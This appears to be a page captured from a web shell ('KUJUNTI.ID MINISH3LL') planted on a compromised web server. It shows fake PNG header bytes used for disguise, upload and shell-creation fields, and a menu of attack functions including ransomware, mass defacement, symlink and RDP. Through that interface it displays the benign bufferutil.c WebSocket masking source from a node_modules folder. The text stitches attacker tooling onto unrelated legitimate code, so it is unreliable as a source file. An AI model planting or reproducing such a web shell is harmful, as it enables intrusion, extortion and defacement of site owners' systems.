\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/biogreenas/tmp/BiogreenMangal/node_modules/bufferutil/src/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/biogreenas/tmp/BiogreenMangal/node_modules/bufferutil/src/bufferutil.c


#define NAPI_VERSION 1
#include <assert.h>
#include <node_api.h>

napi_value Mask(napi_env env, napi_callback_info info) {
  napi_status status;
  size_t argc = 5;
  napi_value argv[5];

  status = napi_get_cb_info(env, info, &argc, argv, NULL, NULL);
  assert(status == napi_ok);

  uint8_t *source;
  uint8_t *mask;
  uint8_t *destination;
  uint32_t offset;
  uint32_t length;

  status = napi_get_buffer_info(env, argv[0], (void **)&source, NULL);
  assert(status == napi_ok);

  status = napi_get_buffer_info(env, argv[1], (void **)&mask, NULL);
  assert(status == napi_ok);

  status = napi_get_buffer_info(env, argv[2], (void **)&destination, NULL);
  assert(status == napi_ok);

  status = napi_get_value_uint32(env, argv[3], &offset);
  assert(status == napi_ok);

  status = napi_get_value_uint32(env, argv[4], &length);
  assert(status == napi_ok);

  destination += offset;
  uint32_t index = 0;

  //
  // Alignment preamble.
  //
  while (index < length && ((size_t)source % 8)) {
    *destination++ = *source++ ^ mask[index % 4];
    index++;
  }

  length -= index;
  if (!length)
    return NULL;

  //
  // Realign mask and convert to 64 bit.
  //
  uint8_t maskAlignedArray[8];

  for (uint8_t i = 0; i < 8; i++, index++) {
    maskAlignedArray[i] = mask[index % 4];
  }

  //
  // Apply 64 bit mask in 8 byte chunks.
  //
  uint32_t loop = length / 8;
  uint64_t *pMask8 = (uint64_t *)maskAlignedArray;

  while (loop--) {
    uint64_t *pFrom8 = (uint64_t *)source;
    uint64_t *pTo8 = (uint64_t *)destination;
    *pTo8 = *pFrom8 ^ *pMask8;
    source += 8;
    destination += 8;
  }

  //
  // Apply mask to remaining data.
  //
  uint8_t *pmaskAlignedArray = maskAlignedArray;

  length %= 8;
  while (length--) {
    *destination++ = *source++ ^ *pmaskAlignedArray++;
  }

  return NULL;
}

napi_value Unmask(napi_env env, napi_callback_info info) {
  napi_status status;
  size_t argc = 2;
  napi_value argv[2];

  status = napi_get_cb_info(env, info, &argc, argv, NULL, NULL);
  assert(status == napi_ok);

  uint8_t *source;
  size_t length;
  uint8_t *mask;

  status = napi_get_buffer_info(env, argv[0], (void **)&source, &length);
  assert(status == napi_ok);

  status = napi_get_buffer_info(env, argv[1], (void **)&mask, NULL);
  assert(status == napi_ok);

  uint32_t index = 0;

  //
  // Alignment preamble.
  //
  while (index < length && ((size_t)source % 8)) {
    *source++ ^= mask[index % 4];
    index++;
  }

  length -= index;
  if (!length)
    return NULL;

  //
  // Realign mask and convert to 64 bit.
  //
  uint8_t maskAlignedArray[8];

  for (uint8_t i = 0; i < 8; i++, index++) {
    maskAlignedArray[i] = mask[index % 4];
  }

  //
  // Apply 64 bit mask in 8 byte chunks.
  //
  uint32_t loop = length / 8;
  uint64_t *pMask8 = (uint64_t *)maskAlignedArray;

  while (loop--) {
    uint64_t *pSource8 = (uint64_t *)source;
    *pSource8 ^= *pMask8;
    source += 8;
  }

  //
  // Apply mask to remaining data.
  //
  uint8_t *pmaskAlignedArray = maskAlignedArray;

  length %= 8;
  while (length--) {
    *source++ ^= *pmaskAlignedArray++;
  }

  return NULL;
}

napi_value Init(napi_env env, napi_value exports) {
  napi_status status;
  napi_value mask;
  napi_value unmask;

  status = napi_create_function(env, NULL, 0, Mask, NULL, &mask);
  assert(status == napi_ok);

  status = napi_create_function(env, NULL, 0, Unmask, NULL, &unmask);
  assert(status == napi_ok);

  status = napi_set_named_property(env, exports, "mask", mask);
  assert(status == napi_ok);

  status = napi_set_named_property(env, exports, "unmask", unmask);
  assert(status == napi_ok);

  return exports;
}

NAPI_MODULE(NODE_GYP_MODULE_NAME, Init)

© KUJUNTI.ID